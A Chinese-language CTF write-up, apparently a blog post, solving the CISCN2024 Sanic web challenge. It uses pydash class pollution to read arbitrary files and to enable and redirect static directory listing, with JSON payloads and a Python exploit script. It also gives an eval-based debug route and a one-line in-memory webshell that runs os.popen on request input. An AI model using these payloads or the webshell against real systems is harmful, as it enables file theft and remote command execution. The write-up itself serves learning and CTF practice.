CISCN2024-WEB-Sanic gxngxngxn

CISCN2024-WEB-Sanic 复现

风起CISCN

身为web🐕的我被国赛折磨了两天,已经是体无完肤了。本次众多web题中,最让我影响深刻的还是第一天的Sanic这题,也是全场唯一一解题。比赛结束后,我迫不及待的想看看这题怎么做,于是我询问了神通广大的p2✌,他如同天上降魔主,真乃人间太岁神。二话不说直接给我甩了一个wp,我已经被他深深的折服了!!!

残缺的WP?

我满怀期待的打开了这神秘的潘多拉魔盒,我以为我马上就可以接近真相了,结果给我来了坨大的,请看vcr:

不是,哥们,这exp怎么只有半页啊,我后面的内容呢?最关键的污染链子没了,身为web🐕的我当然不会就此妥协,既然没有完整的污染链,那我就自己找!!!

前情概要

由于本文主要是讲后面污染链的挖掘,所以本题的前面一些考点就简略描述:

首先看下源码:

from sanic import Sanic
from sanic.response import text, html
from sanic_session import Session
import pydash
# pydash==5.1.2


class Pollute:
    def __init__(self):
        pass


app = Sanic(__name__)
app.static("/static/", "./static/")
Session(app)


@app.route('/', methods=['GET', 'POST'])
async def index(request):
    return html(open('static/index.html').read())


@app.route("/login")
async def login(request):
    user = request.cookies.get("user")
    if user.lower() == 'adm;n':
        request.ctx.session['admin'] = True
        return text("login success")

    return text("login fail")


@app.route("/src")
async def src(request):
    return text(open(__file__).read())


@app.route("/admin", methods=['GET', 'POST'])
async def admin(request):
    if request.ctx.session.get('admin') == True:
        key = request.json['key']
        value = request.json['value']
        if key and value and type(key) is str and '_.' not in key:
            pollute = Pollute()
            pydash.set_(pollute, key, value)
            return text("success")
        else:
            return text("forbidden")

    return text("forbidden")


if __name__ == '__main__':
    app.run(host='0.0.0.0')

简单分析一下,在/login路由处我们需要绕过user.lower() == 'adm;n'的限制,由于这里是从session中读取,所以默认是会在分号处截断,直接传肯定是不行的。怎么绕过呢,很简单,利用八进制编码一下就行了。这里就不多说了,有兴趣的师傅可以自己去研究一下这个RFC2068 的编码规则

接着拿到admin的session以后就可以进入/admin路由了,这里会调用pydash.set_函数,而且我们看到源码中特意标注了一个pydash==5.1.2,很明显这里存在一个漏洞点,其实也就是一个python的原型链污染了。

那么思路到这里就很明确了,主要就是考察一个RFC2068 的编码规则绕过和一个原型链污染。

同时这里waf了_.的组合,我们可以利用

__init__\\\\.__globals__

这种类似转义的方式去绕过,这些都是些小插曲。

接下来好戏开场!!!

考点分析

由于Sanic是个陌生的框架,我们平常接触FLASK的比较多,所以拿到这个框架就会有点手足无措。

我们可以看到src路由存在__file__

@app.route("/src")
async def src(request):
    return text(open(__file__).read())

一眼经典了属于是,我们污染这个属性后就可以实现任意文件读取

{"key":".__init__\\\\.__globals__\\\\.__file__","value": "/etc/passwd"}


可以看到是成功的污染了,但是尝试读取/flag时发现无法读取,也就是不知道flag的位置。

这也就是这题的考点所在了,需要我们利用污染的方式开启列目录功能,查看根目录下flag的名称,再进行读取

污染链的寻找

既然如此,那我们就开找吧。首先我们讲目光放在app.static这个注册路由的功能上:

我们跟进源码文件中查看,

看到注释中的解释

主要看这两个,大致意思就是directory_view为True时,会开启列目录功能,directory_handler中可以获取指定的目录

我们继续跟进directory_handler:

发现他是调用了DirectoryHandler这个类,那继续跟进这个类中

我们发现只要我们将directory污染为根目录,directory_view污染为True,就可以看到根目录的所有文件了

那么就开始入手吧,这里为了方便,我稍微修改了源码用于本地调试;

from sanic import Sanic
from sanic.response import text, html
#from sanic_session import Session
import sys
import pydash
# pydash==5.1.2


class Pollute:
    def __init__(self):
        pass


app = Sanic(__name__)
app.static("/static/", "./static/")
#Session(app)


#@app.route('/', methods=['GET', 'POST'])
#async def index(request):
    #return html(open('static/index.html').read())


#@app.route("/login")
#async def login(request):
    #user = request.cookies.get("user")
    #if user.lower() == 'adm;n':
        #request.ctx.session['admin'] = True
        #return text("login success")

    #return text("login fail")


@app.route("/src")
async def src(request):
    eval(request.args.get('gxngxngxn'))
    return text(open(__file__).read())


@app.route("/admin", methods=['GET', 'POST'])
async def admin(request):
    key = request.json['key']
    value = request.json['value']
    if key and value and type(key) is str and '_.' not in key:
        pollute = Pollute()
        pydash.set_(pollute, key, value)
        return text("success")
    else:
        return text("forbidden")

#print(app.router.name_index['name'].directory_view)

if __name__ == '__main__':
    app.run(host='0.0.0.0')

经过查询资料可以发现,这个框架可以通过app.router.name_index['xxxxx']来获取注册的路由,我们可以打印看看


可以看到控制台回显了这个,上面都是我们注册过的路由,我们可以通过前面的键值去访问对应的路由


成功获取到这个路由,接下来怎么调用到DirectoryHandler里呢?

我们可以全局搜索下name_index这个方法

找到这里是系统默认的调用点,我们在这里打个断点开启调式

我们可以看到我们现在就可以获取到系统调用这个路由时的状态,我们可以看它具有的属性

发现可以从handler入手,一直可以获取到DirectoryHandler中的directory和directory_view

我们按照这个思路试试:


可以看到成功进入到DirectoryHandler对象中,我们可以尝试获取directory_view属性


成功获取到这个的值,那么就可以实现污染了

{"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory_view","value": True}

注意这里不能用[]来包裹其中的索引,污染和直接调用不同,我们需要用.来连接,而

__mp_main.static

是一个整体,不能分开,我们可以用两个反斜杠来转义就够了

可以看到是污染成功了,访问/static/,可以看到该目录下的文件

那么接下来只要污染directory就够了,我们先获取它的值


然后直接污染,再次访问/static/,你会惊奇的发现竟然500报错了:

很明显不能直接将这里的值污染这一个字符串类型的,我们回到原来的地方

可以看到directory是一个对象,而它之前的值就是由其中的parts属性决定的,但是由于这个属性是一个tuple,不能直接被污染,所以我们需要找到这个属性是如何被赋值的?

我们回到DirectoryHandler类中

可以看到这里是获取一个Path对象我们跟进Path对象里

可以看到parts的值最后是给了_parts这个属性,我们访问这个属性看看:


看到这是一个list,那么这里很明显我们就可以直接污染了

到此,我们两个污染点的污染链都已经明确,下面给出paylaod:

#开启列目录功能
{"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory_view","value": true}
#将目录设置在根目录下{"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory._parts","value": ["/"]}

至此,已成艺术。

解题

下面利用ctfshow的环境来实现复现:

首先得到admin的session

然后掏出我的exp:

import requests

#开启列目录
data = {"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory_view","value": True}

#将目录设置在根目录下
#data = {"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory._parts","value": ["/"]}

#读取flag文件
#data = {"key":"__init__\\\\.__globals__\\\\.__file__","value": "/flag文件名字"}

cookie={"session":"your_session"}

response = requests.post(url='http://127.0.0.1:8000/admin', json=data,cookies=cookie)

print(response.text)


至此,艺术已成!

找寻中的小插曲

在找寻链子的过程中磕磕碰碰,虽然艰难,但也让我发现一些不一样的风景

内存🐎

因为前几天刚研究了flask下的内存马,对这玩意有点敏感,无聊时就恰好发现了这个sanic框架下的一个写内存🐎的方式

eval('app.add_route(lambda request: __import__("os").popen(request.args.get("gxngxngxn")).read(),"/gxngxngxn", methods=["GET", "POST"])')

看到在报错中成功回显了命令的执行结果

可以在pickle的条件下利用???有些苛刻,师傅们有兴趣的可以去研究研究

posted @ 2024-05-22 00:30  gxngxngxn  阅读(560)  评论(0编辑  收藏  举报